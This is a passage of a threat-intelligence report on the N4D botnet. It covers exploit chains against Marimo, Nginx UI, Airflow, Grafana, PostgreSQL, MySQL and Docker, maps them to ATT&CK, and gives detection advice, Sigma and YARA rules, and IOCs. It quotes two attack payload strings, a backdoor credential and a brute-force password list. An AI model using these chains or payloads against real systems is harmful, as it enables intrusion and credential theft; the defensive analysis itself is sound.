Confidence: HIGH — CVE-2026-39987 confirmed, CVSS 9.3, CISA KEV; N4D was among the earliest exploiters.
Marimo is a reactive
Python notebook introduced in 2023. CVE-2026-39987 (CVSS 9.3), disclosed April 8, 2026,
describes a pre-authentication remote code execution vulnerability caused by a missing
authentication check on the /terminal/ws WebSocket endpoint — an unauthenticated
attacker gains a full PTY shell with no credentials required. The vulnerability was patched
in Marimo v0.23.0 and added to the CISA Known Exploited Vulnerabilities (KEV) catalog on
April 23, 2026.
The binary encodes:
marimo_ws— dedicated WebSocket interaction identifier for Marimo's kernel protocolmarimo_rce— success result type for remote code executionprobeMarimo+deployMarimo— probe and exploit functions
Exploitation was observed in the wild within nine hours and forty-one minutes of the
advisory's publication. Between April 11 and April 14, 2026, Sysdig tracked 662 exploit
events from 11 unique IP addresses across 10 countries. A separate attacker group weaponized
CVE-2026-39987 to deploy NKAbuse — a Go-based blockchain C2 backdoor — via a typosquatting
HuggingFace Space. N4D's use of the same WebSocket vector (marimo_ws) is
consistent with this pre-auth RCE surface, but deploys the N4D agent rather than NKAbuse.
The N4D binary compiled June 26, 2026 represents continued mass exploitation two and a half
months after the patch was available.
5 — Nginx UI Backup Decryption Chain (CVE-2026-27944 + CVE-2026-33032 "MCPwn")
Confidence: HIGH — two CVEs confirmed (both CVSS 9.8); N4D chains them into a single automated kill chain.
Nginx UI is a web-based
Nginx management interface. The function chain implemented in n4d_debug
exploits two distinct, separately-patched vulnerabilities in sequence:
Stage 1 — CVE-2026-27944 (CVSS 9.8, patched v2.3.3, March 5, 2026):
Unauthenticated backup download and AES-256-CBC key disclosure. The backup endpoint returns
the decryption key in the X-Backup-Security response header alongside the
encrypted archive. Decrypting the archive yields app.ini, which contains
node_secret — the shared secret used to authenticate Nginx UI's MCP interface.
Stage 2 — CVE-2026-33032 "MCPwn" (CVSS 9.8, patched v2.3.4, March 15, 2026):
Nginx UI's MCP integration exposes two endpoints: /mcp and /mcp_message.
While /mcp enforces AuthRequired() middleware, /mcp_message
received only an IP allowlist check — and the default allowlist ships empty, treating it as
"allow all." An attacker who has obtained node_secret from Stage 1 can pass it
as a query parameter to obtain a session ID, then issue arbitrary commands through
/mcp_message without further authentication. This vulnerability was named
"MCPwn" by Pluto Security and was listed among Recorded Future's 31 most actively exploited
vulnerabilities of March 2026, with approximately 2,689 exposed instances identified on
Shodan at the time of disclosure.
The complete function sequence recovered from the N4D binary maps directly to this chain:
probeNginxUI— detect exposed instance and check for backup endpoint availabilitydecryptBackupAndExtractSecret— download backup archive; key fromX-Backup-Securityheader (CVE-2026-27944 Stage 1)tryDecryptZipEntries/tryPlainZipEntries— AES-CBC decryption of backup zip entriesaesCBCDecrypt— custom AES-CBC implementation for the decryption stepextractNodeSecretFromIni— parse decryptedapp.iniand extractnode_secretand API tokens (CVE-2026-27944 Stage 2)deployNginxUI— authenticate to/mcp_messagevianode_secretand execute commands; result typenginx_ui_pty(CVE-2026-33032)
The nginx_ui_no_secret fallback result type confirms the agent handles
cases where node_secret is absent in the backup and routes to an alternate
exploitation path. The automated chaining of CVE-2026-27944 into CVE-2026-33032 — without
requiring any interactive step — is specific to N4D and not described in any published
advisory or proof-of-concept.
6 — Additional Novel Result Types Recovered
The following additional result type strings were extracted from .rodata
that confirm exploitation capabilities beyond those documented in sections above:
| Result Type Tag | Technique |
|---|---|
| jenkins_cli_read_then_groovy | Two-stage Jenkins chain: read arbitrary file via Jenkins CLI, then execute Groovy payload via Script Console — no single published CVE covers this specific chain |
| pg_copy_to_program | PostgreSQL COPY TO PROGRAM RCE — superuser privilege required; the agent's pgIsSuperuser check gates this path |
| mysql_outfile_cron | MySQL SELECT INTO OUTFILE '/etc/cron.d/...' — writes cron entry directly, requires FILE privilege and specific secure_file_priv configuration |
| docker_sock_escape | main.tryDockerSockEscape — mounts host filesystem via /var/run/docker.sock and writes to /etc/cron.d/ for root persistence |
| internal_port_scan | Autonomous internal subnet scan triggered post-compromise, independent of C2 task assignment |
| mcp_execute_query / mcp_execute_shell | MCP tool-call based SQL and shell execution (see Section 3 above) |
| airflow_unauth_api | Airflow v1/v2 unauthenticated DAG trigger; DAG masquerades as sys_health_check in the result beacon |
| aks_mcp_fail | AKS + MCP combined attack failure sentinel — confirms the attack was attempted but the MCP branch did not achieve execution |
Two payload strings recovered from the binary illustrate how deeply the actor has integrated masquerade names into every stage of the kill chain:
{"dag_id":"sys_health_check","is_paused":false,"file_token":"import_dag"}
{"url":"http://localhost/","filePath":"../../etc/chromium.d/sys_alias"}
The first is the Airflow DAG injection body — the malicious DAG is named
sys_health_check, masquerading as a legitimate health monitoring workflow.
The second is the Grafana Renderer path traversal payload — writing to
chromium.d/sys_alias echoes the sys_alias.sh persistence
filename used throughout the campaign.
15. MITRE ATT&CK Mapping
Fig. 9 - MITRE ATT&CK coverage: 9 tactics, 24 techniques mapped from the N4D campaign artifacts.
| Tactic | ID | Technique | Evidence |
|---|---|---|---|
| TA0043 Recon | T1595 | Active Scanning | mcp_scan.py - mcp_v3.py; 500 concurrent probes; 14 target ports; 4 URL paths per host |
| TA0043 Recon | T1046 | Network Service Discovery | Systematic /24 and /16 sweeps; 851,942+ probes per /16 block documented in scan logs |
| TA0001 Initial Access | T1190 | Exploit Public-Facing Application | Unauthenticated MCP tools/call targeting execute_command; no CVE, design misuse |
| TA0002 Execution | T1059.006 | Command and Scripting Interpreter: Python | mesh_agent.py / polymorphic Python loader exec'd on victim after delivery |
| TA0002 Execution | T1203 | Exploitation for Client Execution | tools/call on exposed MCP server RCE tools delivers arbitrary OS commands |
| TA0003 Persistence | T1098.004 | Account Manipulation: SSH Authorized Keys | Backdoor RSA public key (comment: "test") inserted into /root/.ssh/authorized_keys on multiple nodes |
| TA0003 Persistence | T1543.003 | Create or Modify System Process: Systemd Service | beacon.sh delivers agent as a systemd service for persistence across reboots |
| TA0005 Defense Evasion | T1027 | Obfuscated Files or Information | XOR-encoded string literals in polymorphic loader; 22 sensitive patterns obfuscated |
| TA0005 Defense Evasion | T1027.002 | Software Packing | zlib/bz2 max-compression blob packed into loader stub; random algorithm per build |
| TA0005 Defense Evasion | T1070.004 | Indicator Removal: File Deletion | os.unlink(sys.argv[0]) self-deletion on first run of the polymorphic loader stub |
| TA0005 Defense Evasion | T1036.005 | Match Legitimate Name or Location | Process masquerades as kworker (kernel worker thread name); written to /dev/shm/ to avoid disk writes |
| TA0005 Defense Evasion | T1205 | Traffic Signaling | Cloudflare tunnel relay hides actual C2 IP; CDN 302 redirect disguises server identity |
| TA0006 Cred Access | T1552.005 | Cloud Instance Metadata API | Azure IMDS token exfiltration via 169.254.169.254; three auto-refresh cycles observed in intel |
| TA0006 Cred Access | T1003.008 | OS Credential Dumping: /etc/shadow | Shadow file exfiltrated verbatim via POST /api/intel from multiple nodes |
| TA0006 Cred Access | T1528 | Steal Application Access Token | AWS IAM keys, STS session tokens, Azure ARM JWTs harvested via MCP tool calls |
| TA0007 Discovery | T1082 | System Information Discovery | Agent reports hostname, CPU architecture, load average, and capability flags on register |
| TA0007 Discovery | T1613 | Container and Resource Discovery | Docker socket detection; docker boolean reported in intel schema; Docker port :2375 in v4.0 scan list |
| TA0008 Lateral Movement | T1021.004 | Remote Services: SSH | SSH persistence via authorized_keys backdoor entry (comment: "test") found on multiple nodes |
| TA0008 Lateral Movement | T1210 | Exploitation of Remote Services | Chain engine executes sequential exploit steps across adjacent network targets |
| TA0011 C&C | T1571 | Non-Standard Port | Controller on :8443; P2P mesh on :9999; both non-standard for their protocols |
| TA0011 C&C | T1573 | Encrypted Channel | HMAC-authenticated API in v4.0; Cloudflare HTTPS tunnel for agent traffic |
| TA0011 C&C | T1090.003 | Proxy: Multi-hop Proxy | Cloudflare tunnel registered per node via POST /api/endpoint; C2 IP hidden from defenders |
| TA0010 Exfiltration | T1041 | Exfiltration Over C2 Channel | POST /api/intel sends credentials over the same authenticated C2 channel as task polling |
| TA0040 Impact | T1496 | Resource Hijacking | Compromised hosts enrolled into scanner fleet and assigned new CIDR ranges to scan |
| TA0003 Persistence | T1546.004 | Event Triggered Execution: Unix Shell Configuration Modification | /etc/profile.d/sys_alias.sh written by Nginx UI and Grafana Renderer exploit chains; executes on every interactive login for any user on the system — survives agent restarts |
| TA0004 Privilege Escalation | T1611 | Escape to Host | deployDockerSocket mounts the host filesystem and writes a root cron entry from within a container — escaping container isolation entirely; confirmed exploit module in binary |
| TA0011 C&C | T1090.002 | Proxy: External Proxy | main.startMeshTunnel establishes Cloudflare Quick Tunnels (*.trycloudflare.com) — outbound anonymous relay, no infrastructure registration, TLS termination at Cloudflare edge; C2 traffic blends with legitimate Cloudflare HTTPS |
16. Detection & Defensive Guidance
For MCP Server Operators
- Never expose MCP servers on public IPs without authentication. Bind to
127.0.0.1or place behind an authenticated reverse proxy. - If cloud-deployed: restrict to VPC private networks and use TLS mutual auth or an API gateway with token validation.
- Audit tool names in your server configuration. Any tool providing shell execution, file system access, or database query capability is effectively unauthenticated RCE if the server is reachable without auth.
- Check MCP server logs for
initialize+tools/listsequences from"clientInfo": {"name": "n4d-vps"}- that string is the campaign's reliable network IOC. - If your server has ever been publicly accessible: rotate all credentials present in environment variables,
~/.aws/credentials,/root/.ssh/, and any cloud metadata token scope. Explicitly rotateOPENAI_API_KEYandANTHROPIC_API_KEY- these are first-class harvest targets in the pathing engine.
For Compromised Host Responders
- Check
/etc/cron.d/.sys-healthand/etc/cron.d/.syscheck— the agent installs both. Remove both before killing the agent process, or it relaunches within 120 seconds. - Audit
/root/.bashrcfor appended command lines - the dropper adds a persistence entry that fires on every root login. - Check
/etc/profile.d/sys_alias.sh— written by the Nginx UI and Grafana exploit chains as a login-triggered payload. Present even when cron is cleaned. - Check
/etc/ld.so.preloadand user-specific library preload paths forlibssh2.so.1.0.1.patchedor any unexpected shared library — this custom-compiled SSH development build may function as a backdoor for credential interception via LD_PRELOAD; not confirmed by static analysis alone. - Search
/dev/shm/for files matchingkworker*,.agent.lock, and.agent.pid— the agent binary runs from tmpfs;.agent.lockpresence confirms an active instance. - Check
/tmp/for.n4d*files — temporary exploit scratch files (.n4d_mysql.sh,.n4d_pg.sh,.n4d_redis.sh,.n4d_script.py,.n4d_cred_debug). The last file may contain harvested credentials if the agent crashed mid-exfil. - Inspect active network connections for WebSocket upgrades to
/api/ptyor TLS connections to*.trycloudflare.com— either indicates an active interactive operator session in progress. - Block outbound connections to
cdnorigin.netand*.trycloudflare.comat the network perimeter to cut off both C2 channels simultaneously.
Network Detection Signatures — Sigma
title: N4D Botnet — Direct Connection to Confirmed C2 Server (209.99.186.73)
id: 7f3a2b91-4d58-4e4c-b82f-1a6c9d5e3f07
status: stable
description: Outbound connection to 209.99.186.73 — confirmed N4D Mesh Controller C2 server. Open directory exposed at :9090, C2 API at :8443, beacon distribution at :80/:443 (TLS SNI cdnorigin.net).
author: 1ZRR4H
date: 2026-07-02
logsource:
category: network
product: firewall
detection:
selection:
dst_ip: '209.99.186.73'
condition: selection
falsepositives:
- None expected
level: critical
tags:
- attack.command-and-control
- attack.t1071.001
title: N4D Botnet — cdnorigin.net C2 Domain DNS Query
id: a4b5c6d7-e8f9-4012-abcd-456789012345
status: stable
description: DNS query for cdnorigin.net — fake CDN domain used by beacon.sh as primary agent download URL. Self-signed RSA-2048 cert issued 2026-06-26, absent from CT logs. Any resolution of this domain means the dropper is executing on that host.
author: 1ZRR4H
date: 2026-06-27
modified: 2026-07-02
logsource:
category: dns
detection:
selection:
QueryName|endswith: 'cdnorigin.net'
condition: selection
falsepositives:
- None — domain has no legitimate registrant; no CT log entries at time of discovery
level: critical
tags:
- attack.command-and-control
- attack.t1071.001
- attack.t1584.001
title: N4D Go Agent — kworker Process Name Masquerade
id: b5c6d7e8-f9a0-4234-bcde-567890123456
status: stable
description: Process matching kworker name pattern launched outside PID 2. N4D agent calls setProcName() after execution from /dev/shm/ to masquerade as a kernel worker thread. Legitimate kworker threads are exclusively children of kthreadd (PID 2) and have no userland executable path.
author: 1ZRR4H
date: 2026-06-29
modified: 2026-07-02
logsource:
category: process_creation
product: linux
detection:
selection:
Image|contains: 'kworker'
filter_kernel:
ParentProcessId: 2
condition: selection and not filter_kernel
falsepositives:
- None — legitimate kworker processes have ParentProcessId 2 (kthreadd) only
level: high
tags:
- attack.defense-evasion
- attack.t1036.005
title: N4D Agent — Hidden Dot-File Created in /etc/cron.d/
id: c6d7e8f9-a0b1-4345-cdef-678901234567
status: stable
description: File creation with a dot-prefixed name inside /etc/cron.d/. beacon.sh writes /etc/cron.d/.sys-health (2-minute root interval re-launching /dev/shm/kworker*); the Go binary also creates /etc/cron.d/.syscheck. No standard Linux package writes hidden dot-files to this directory.
author: 1ZRR4H
date: 2026-06-28
modified: 2026-07-02
logsource:
product: linux
category: file_event
detection:
selection:
TargetFilename|startswith: '/etc/cron.d/.'
condition: selection
falsepositives:
- None — standard software packages do not write dot-files to /etc/cron.d/
level: high
tags:
- attack.persistence
- attack.t1053.003
title: N4D Botnet — Cloudflare Quick Tunnel C2 Relay from Non-Workstation Asset
id: e8f9a0b1-c2d3-4567-ef01-890123456789
status: stable
description: Outbound TLS :443 to *.trycloudflare.com from a server-class asset. N4D agents call main.startMeshTunnel() to establish an anonymous Cloudflare Quick Tunnel C2 relay — no domain registration required, cert signed by Cloudflare CA. Filter excludes workstations where developer tunnel use is common.
author: 1ZRR4H
date: 2026-06-28
modified: 2026-07-02
logsource:
category: network
product: firewall
detection:
selection:
dst_hostname|endswith: '.trycloudflare.com'
dst_port: 443
filter_workstation:
src_category: 'workstation'
condition: selection and not filter_workstation
falsepositives:
- Developer workstations running cloudflared for local tunnel testing
level: high
tags:
- attack.command-and-control
- attack.t1090.004
- attack.t1572
YARA Rules
rule N4D_Go_Agent_Binary {
meta:
description = "N4D Mesh Controller Go agent — ELF multi-arch botnet with AI exploit arsenal"
author = "1ZRR4H"
date = "2026-06-29"
modified = "2026-07-02"
hash_debug = "3435cc9d4a255bfb4cfb09f2390c29b888f70a43345cfaaecf46c55bc89b814d"
strings:
$cred_nacos = "n4d_admin:n4d_admin123" ascii
$fn_lightllm = "deployLightLLM" ascii
$fn_ray = "deployRayDashboard" ascii
$mesh_auth = "X-Mesh-Auth" ascii
$devshm_lock = "/dev/shm/.agent.lock" ascii
$api_pty = "/api/pty" ascii
$cftunnel = ".trycloudflare.com" ascii
condition:
uint32(0) == 0x464C457F and
(
($cred_nacos and $devshm_lock) or
($fn_lightllm and $fn_ray) or
($mesh_auth and $api_pty and $cftunnel)
)
}
rule N4D_MCP_Scanner {
meta:
description = "N4D MCP scanner family — all 4 generations (mcp_scan.py, mcp_direct.py, mcp_scan_v2.py, mcp_v3.py)"
author = "1ZRR4H"
date = "2026-06-27"
modified = "2026-07-02"
strings:
$client_id = "n4d-vps" ascii
$tools_list = "tools/list" ascii
$danger_key = "execute_command" ascii
$proto_ver = "2024-11-05" ascii
condition:
$client_id and 1 of ($tools_list, $danger_key, $proto_ver)
}
rule N4D_Beacon_Script {
meta:
description = "N4D dropper beacon.sh — 8-method download chain with cron, bashrc, and systemd persistence"
author = "1ZRR4H"
date = "2026-06-28"
modified = "2026-07-02"
strings:
$cdn_front = "cdnorigin.net" ascii
$c2_ip = "209.99.186.73" ascii
$api_binary = "/api/agent/binary" ascii
$cron_file = ".sys-health" ascii
condition:
($cdn_front or $c2_ip) and ($api_binary or $cron_file)
}
rule N4D_QQ_Watcher {
meta:
description = "N4D qq_watcher.sh — targets QQ bot MCP servers via execute_shell_command tool"
author = "1ZRR4H"
date = "2026-06-28"
modified = "2026-07-02"
strings:
$shell_tool = "execute_shell_command" ascii
$tmp_agent = "/tmp/.agent" ascii
$cdn_front = "cdnorigin.net" ascii
condition:
$shell_tool and ($cdn_front or $tmp_agent)
}
Affected ASN Categories
| ASN | Provider | Role in Campaign |
|---|---|---|
| AS24940 | Hetzner Online | International agent fleet CIDR pool; primary target for European AI deployments |
| AS14061 | DigitalOcean | International agent fleet CIDR pool |
| AS63949 | Linode / Akamai | International agent fleet CIDR pool |
| AS16276 | OVH | International agent fleet CIDR pool |
| AS20473 | Vultr | International agent fleet CIDR pool |
| AS51167 | Contabo | International agent fleet CIDR pool |
| AS45102 | Alibaba Cloud | Primary scan target (CN geo); also agent fleet |
| AS132203 | Tencent Cloud | Primary scan target (CN geo); also agent fleet |
Indicators of Compromise (IOCs)
| Type | Indicator | Context |
|---|---|---|
| SHA256 | 3435cc9d4a255bfb4cfb09f2390c29b888f70a43345cfaaecf46c55bc89b814d | n4d_debug — Go agent debug build (7.3 MB, ELF64 amd64, Jun 26 2026); complete exploit arsenal with 170+ named functions |
| IP | 209.99.186.73 | Confirmed C2 server — open directory at :9090, C2 API at :8443, beacon TLS at :443 (SNI: cdnorigin.net), P2P mesh at :9999 |
| PORT | :8443 (C2), :9999 (P2P) | Controller API and inter-agent mesh listener |
| HEADER | X-Mesh-Auth: {node_id}:{hmac_sha256} | Present on all authenticated agent API calls in v4.0 |
| HEADER | X-Operator-Key | Present on operator-authenticated GET calls to /api/intel, /api/chains, /api/stats |
| PATH | /api/register, /api/task/{nid}, /api/result/{nid}, /api/intel, /api/beacon, /api/chains | Controller API path family - any of these on port 8443 is C2 traffic |
| UA | python-httpx/* | Scanner User-Agent (httpx async client) |
| UA | Go-http-client/1.1 | Agent User-Agent (Go HTTP client in n4d_agent binary) |
| JSON | "clientInfo": {"name": "n4d-vps", "version": "1.0"} | MCP initialize payload - present in every scanner probe |
| PROCESS | kworker/u*:* | Agent process name masquerade matching kernel worker thread format |
| FILE | /dev/shm/kworker* | Agent written to tmpfs to avoid disk writes visible in filesystem forensics |
| SSH | authorized_keys backdoor key comments observed: auto-backdoor (21×), test (6×), u0_a599@localhost (3×), admin@mm (2×), hype (2×), jan@mac, root@proxmox, good@gooddeMacBook-Pro.local, evincent@ev-mac.lan | Attacker-inserted RSA backdoor keys across 21 compromised hosts; "auto-backdoor" is campaign-generated; personal machine hostnames (evincent@ev-mac.lan, jan@mac, good@gooddeMacBook-Pro.local) are low-confidence attribution leads |
| URL | GET /api/beacon?arch=&h=&p= | Phone-home URL pattern - server-side detection of active compromise in progress |
| DOMAIN | cdnorigin.net | C2 CDN front domain; TLS SNI on port 443; appears in beacon.sh download URLs and mesh_minimal.py |
| PORT | :80, :443 | Additional C2 entry ports; :80 via http_proxy.py, :443 via tls_proxy.py with cdnorigin.net cert |
| FILE | /etc/cron.d/.sys-health | 2-minute root cron entry installed by beacon.sh for persistent agent re-launch |
| FILE | /tmp/.agent | Staging path used by qq_watcher.sh dropper when delivering agent to MCP bot victims |
| FILE | libssh2.so.1.0.1.patched | Custom-compiled SSH library (dev branch, GCC 13.3/Ubuntu 24.04) — possible LD_PRELOAD backdoor for credential interception; no backdoor confirmed by static analysis, but binary does not match any released libssh2 version |
| PATH | /api/agent/binary?arch= | Agent binary download endpoint - requested by beacon.sh, mesh_minimal.py, and qq_watcher.sh on victim machines |
| PATH | /api/pty | WebSocket interactive PTY endpoint — operators open live shells on compromised hosts through the C2 web panel; also used by Nginx UI exploit chain on victim side |
| DOMAIN | *.trycloudflare.com | Cloudflare Quick Tunnel relay; agents call main.startMeshTunnel to establish anonymous outbound C2 channel — TLS signed by Cloudflare CA, no domain registration required |
| FILE | /etc/profile.d/sys_alias.sh | Login-trigger payload written by Nginx UI and Grafana Renderer exploit modules; executes on every interactive login by any user |
| FILE | /etc/cron.d/.syscheck | Secondary cron persistence entry (complement to .sys-health); found as hardcoded path in Go binary |
| FILE | /dev/shm/.agent.lock, /dev/shm/.agent.pid | Singleton lock and PID file in tmpfs; presence indicates an active agent instance; absence after reboot indicates agent survived only in cron/systemd |
| FILE | /tmp/.n4d, /tmp/.n4d_curl, /tmp/.n4d_mysql.sh, /tmp/.n4d_pg.sh, /tmp/.n4d_redis.sh, /tmp/.n4d_script.py, /tmp/.n4d_cred_debug | Scratch files written during exploit execution; .n4d_cred_debug may contain harvested credentials in plaintext if the agent crashed mid-exfil |
| CRED | n4d_admin:n4d_admin123 | Backdoor Nacos account credential confirmed by binary analysis (main.deployNacos); submitted via form-urlencoded POST /nacos/v1/auth/login — operators plant this account on first compromise then re-authenticate on return visits |
| CRED | n4d:n4dmesh2024 | N4D controller PostgreSQL database user and password hardcoded in controller_v4.py; presence of these credentials on a host confirms the C2 controller itself is deployed there, not just a victim agent |
| CRED | postgres2024, postgres2025, Postgres@123, postgrespass | Hardcoded PostgreSQL brute-force wordlist embedded in binary; any PostgreSQL instance logging failed auth attempts should alert on these values |